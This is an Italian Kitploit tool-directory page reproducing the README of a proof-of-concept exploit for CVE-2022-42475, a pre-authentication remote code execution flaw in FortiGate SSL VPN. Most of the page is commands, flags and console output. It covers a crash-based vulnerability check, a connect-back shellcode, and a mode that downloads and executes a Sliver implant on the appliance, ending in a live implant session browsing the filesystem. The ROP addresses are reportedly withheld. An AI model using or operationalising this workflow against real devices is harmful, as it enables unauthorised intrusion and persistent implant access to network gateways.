Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-42475-POC — Exploit per CVE-2022-42475 che colpisce FortiGate SSL VPN con modalità di sola convalida, esecuzione di catena ROP e shellcode di connessione di ritorno per esecuzione remota di codice e distribuzione di binari. | Kitploit
Strumenti/GitHubGitHub/arthurhendrich/cve-2022-42475-poc
Analisi delle VulnerabilitàExploitShellcodeSicurezza WebPenetration TestingRed TeamingSviluppo Payload
GitHubarthurhendrich/cve-2022-42475-poc

CVE-2022-42475-POC

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Exploit per CVE-2022-42475 che colpisce FortiGate SSL VPN con modalità di sola convalida, esecuzione di catena ROP e shellcode di connessione di ritorno per esecuzione remota di codice e distribuzione di binari.

Vedi Repository
5 mesi faNon ancora revisionato

CVE-2022-42475

Contesto

Questo è l'exploit per il post del blog qui: https://bishopfox.com/blog/exploit-cve-2022-42475

Versione redatta

Questa versione dell'exploit non funzionerà senza che tu, l'hacker, fornisca gli indirizzi di memoria necessari per i gadget ROP, ecc. Il lavoro per determinare questi dati è riservato e di proprietà di Bishop Fox e non pubblicherò (né posso) pubblicarlo insieme a questo exploit. Confido che tu capisca!

Modalità di funzionamento

  • Solo convalida, nessun exploit. Determina se è vulnerabile. Nessun payload, nessun shellcode.
  • Exploit, ma solo verifica. Esegue uno shellcode "ping" di connessione di ritorno benigno per verificare che il target sia sfruttabile.
  • Exploit con stager binario di connessione di ritorno. Lo shellcode si riconnette all'exploit, scarica un file binario crittografato fornito dall'operatore (tipicamente https://github.com/BishopFox/Sliver), lo decifra, quindi chiama execve(file_binario).

Nota: Al momento la modalità "solo convalida" funziona su tutte le versioni conosciute di FortiOS. Tuttavia, gli exploit funzionano solo contro FortiOS 6.0.4 su hardware 100D. Non lavoro più in BF e quindi non posso pubblicare l'exploit esteso che supporta qualcosa come 18k target.

Requisiti

  • PyCrypto
  • pycryptodome
root@kitploit:~
pip3 install PyCrypto
pip3 install pycryptodome

Solo convalida

Questo non tenterà alcun exploit del bug, ma lo attiverà come crash (il demone SSL VPN remoto si riavvia automaticamente e immediatamente). Il crash viene rilevato in modo euristico e segnalato all'operatore.

Eseguilo usando il flag -v di convalida:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] In esecuzione in modalità solo convalida. Nessun RCE.
[>] Verifica se il target è vulnerabile (potrebbe richiedere 10 secondi)
[+] Il target '192.168.0.10:8443' sembra VULNERABILE

Exploit, ma convalida (funzionalità attualmente disponibile solo per FortiOS 6.0.4 su apparecchi 100D)

Questo attiverà il bug, distribuirà una catena ROP e salterà allo shellcode. Lo shellcode è benigno e funziona come segue:

  • L'exploit si connette al target e attiva la vulnerabilità per eseguire lo shellcode
  • Lo shellcode si riconnette all'IP:porta dell'operatore
  • Lo shellcode invia un singolo byte "hello" all'exploit: 0xbf
  • L'exploit consegna un piccolo payload di test crittografato allo shellcode (la chiave AES è casuale a ogni esecuzione)
  • Lo shellcode decifra il payload e lo salva in /tmp/x sull'apparecchio FortiGate
  • Lo shellcode invia un altro singolo byte 0xbf all'exploit se la decifratura del payload è andata a buon fine
  • L'exploit legge il byte e conferma l'esecuzione del codice.

Flag:

root@kitploit:~
-t           host/IP target
-p           porta target
-e           modalità exploit
-c           modalità solo connessione di ritorno
-H e -P      IP:porta dell'operatore (obbligatorio)
-s           versione software di FortiOS (obbligatoria)
-m           modello hardware su cui è in esecuzione FortiOS
-d           attiva il debug

Un esempio in cui selezioniamo sia la versione software 6.0.4 che il modello di apparecchio 100D:

root@kitploit:~
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Generazione di una chiave AES casuale a 128 bit per crittografare il payload
[+] Crittografia del payload in corso...
[+] Utilizzo di shellcode in cache. Modifica ./x.py (cerca 'shellcode.s') per forzare l'aggiornamento.
[+] Configurato per la connessione di ritorno a 192.168.0.99:443
[+] Avvio del listener per payload crittografato...
[+] Preparazione dell'exploit...
[+] Invio della richiesta!
[+] Importazione dei gadget da 'exploit_data.json'
[<] Listener in ascolto sulla porta 443, in attesa di connessione di ritorno...
[+] Convalida dei gadget...
[!] Nessun modello hardware funzionale definito per FortiOS '5.2.14'. Rimosso.
[!] Nessun modello hardware funzionale definito per FortiOS '5.6.9'. Rimosso.
[+] Importati 797 target:
[-]   6.0.4     [  1 target ]   <=== 100D
[-]   5.2.14    [ 47 target ]
[-]   5.6.9     [ 60 target ]
[-]   6.0.13    [ 68 target ]
[-]   6.0.14    [ 67 target ]
[-]   6.0.15    [ 58 target ]
[-]   6.0.8     [ 67 target ]
[-]   6.2.11    [ 69 target ]
[-]   6.2.7     [ 75 target ]
[-]   6.4.10    [ 71 target ]
[-]   6.4.2     [ 62 target ]
[-]   6.4.3     [ 61 target ]
[-]   6.4.6     [ 73 target ]
[-]   6.4.9     [ 72 target ]
[-]   7.0.4     [ 53 target ]
[+] Avvio dell'exploit
[<] Richiesta in arrivo da 192.168.0.10:22470
[<] Pacchetto hello ricevuto dal target!! Modello #: 100D
[<] Invio del payload crittografato di 36 byte
[<] Invio del payload completato (36 byte), in attesa di risposta...
[<] Ricevuta la risposta prevista ('100D') da 192.168.0.10
[<] Il target è VULNERABILE con sicurezza al 100%.
[+] Operazione completata!

Se si omette -m per scegliere un modello hardware, l'exploit tenterà a forza bruta tutti i target hardware per la versione software specificata.

Guerra termonucleare globale

  • L'operatore specifica la posizione di un binario implant Sliver (basato su Linux)
  • L'exploit si connette al target e attiva la vulnerabilità per eseguire lo shellcode
  • Lo shellcode si riconnette all'IP:porta dell'operatore
  • Lo shellcode invia un singolo byte "hello" all'exploit: 0xbf
  • L'exploit crittografa il binario Sliver e lo invia allo shellcode
  • Lo shellcode decifra il binario e lo salva in /tmp/x
  • Lo shellcode invia un byte "successo" 0xbf all'exploit
  • L'exploit legge il byte e conferma l'esecuzione del codice
  • Lo shellcode chiama execve("/tmp/x")
  • ???
  • Profitto!

Flag:

root@kitploit:~
-t           host/IP target
-p           porta target
-e           modalità exploit
-f filename  /percorso/del/binario/da/eseguire/sul/target
-H e -P      IP:porta dell'operatore per la connessione di ritorno (obbligatorio)
-s           versione software di FortiOS (obbligatoria)
-m           modello hardware su cui è in esecuzione FortiOS
-d           attiva il debug

Sliver:

root@kitploit:~
carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Benvenuto nella shell sliver, digita 'help' per le opzioni

[server] sliver > mtls -l 8888

[*] Avvio listener mTLS ...

[*] Job #1 avviato con successo

Exploit:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] L'exploit tenterà di eseguire execve("implant5") sul target
...
[<] Il target è VULNERABILE con sicurezza al 100%.
[+] Operazione completata.

E tornando a Sliver:

root@kitploit:~
[*] Sessione d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > usa d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Sessione attiva implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

ID di accesso: <err>

[server] sliver (implant5) > ls

/ (19 elementi, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  Mar 31 gen 11:31:57 +0000 2023
drwxr-xr-x   bin                 <dir>  Mar 31 gen 11:04:35 +0000 2023
drwxr-xr-x   data                <dir>  Mar 31 gen 05:24:10 +0000 2023
drwxr-xr-x   data2               <dir>  Mar 31 gen 11:40:01 +0000 2023
drwxr-xr-x   dev                 <dir>  Mar 31 gen 05:26:16 +0000 2023
Lrwxrwxrwx   etc -> data/etc     8 B    Lun 07 gen 18:03:23 +0000 2019
Lrwxrwxrwx   fortidev -> /       1 B    Lun 07 gen 18:03:23 +0000 2019
Lrwxrwxrwx   init -> /sbin/init  10 B   Lun 07 gen 18:03:23 +0000 2019
drwxr-xr-x   lib                 <dir>  Lun 07 gen 18:03:30 +0000 2019
Lrwxrwxrwx   lib64 -> lib        3 B    Lun 07 gen 18:03:23 +0000 2019
drwxr-xr-x   migadmin            <dir>  Mar 31 gen 05:23:26 +0000 2023
dr-xr-xr-x   proc                <dir>  Mar 31 gen 05:23:13 +0000 2023
drwx------   root                <dir>  Lun 07 gen 17:17:34 +0000 2019
drwxr-xr-x   sbin                <dir>  Mar 31 gen 05:23:27 +0000 2023
drwxr-xr-x   security-rating     <dir>  Lun 07 gen 18:01:04 +0000 2019
drwxr-xr-x   sys                 <dir>  Mar 31 gen 05:23:27 +0000 2023
dtrwxrwxrwx  tmp                 <dir>  Mar 31 gen 11:40:01 +0000 2023
drwxr-xr-x   usr                 <dir>  Mar 31 gen 05:23:27 +0000 2023
drwxr-xr-x   var                 <dir>  Mar 31 gen 05:24:07 +0000 2023

Nota che Sliver restituisce <err> perché FortiOS è più o meno Linux, ma non sempre funziona come ci si aspetterebbe. Questo è un problema di FortiOS, non di Sliver.

Altre versioni in arrivo

Non lavoro più in Bishop Fox, quindi dovrai seguire il github di BF per gli aggiornamenti su questo.

Scarica lo strumento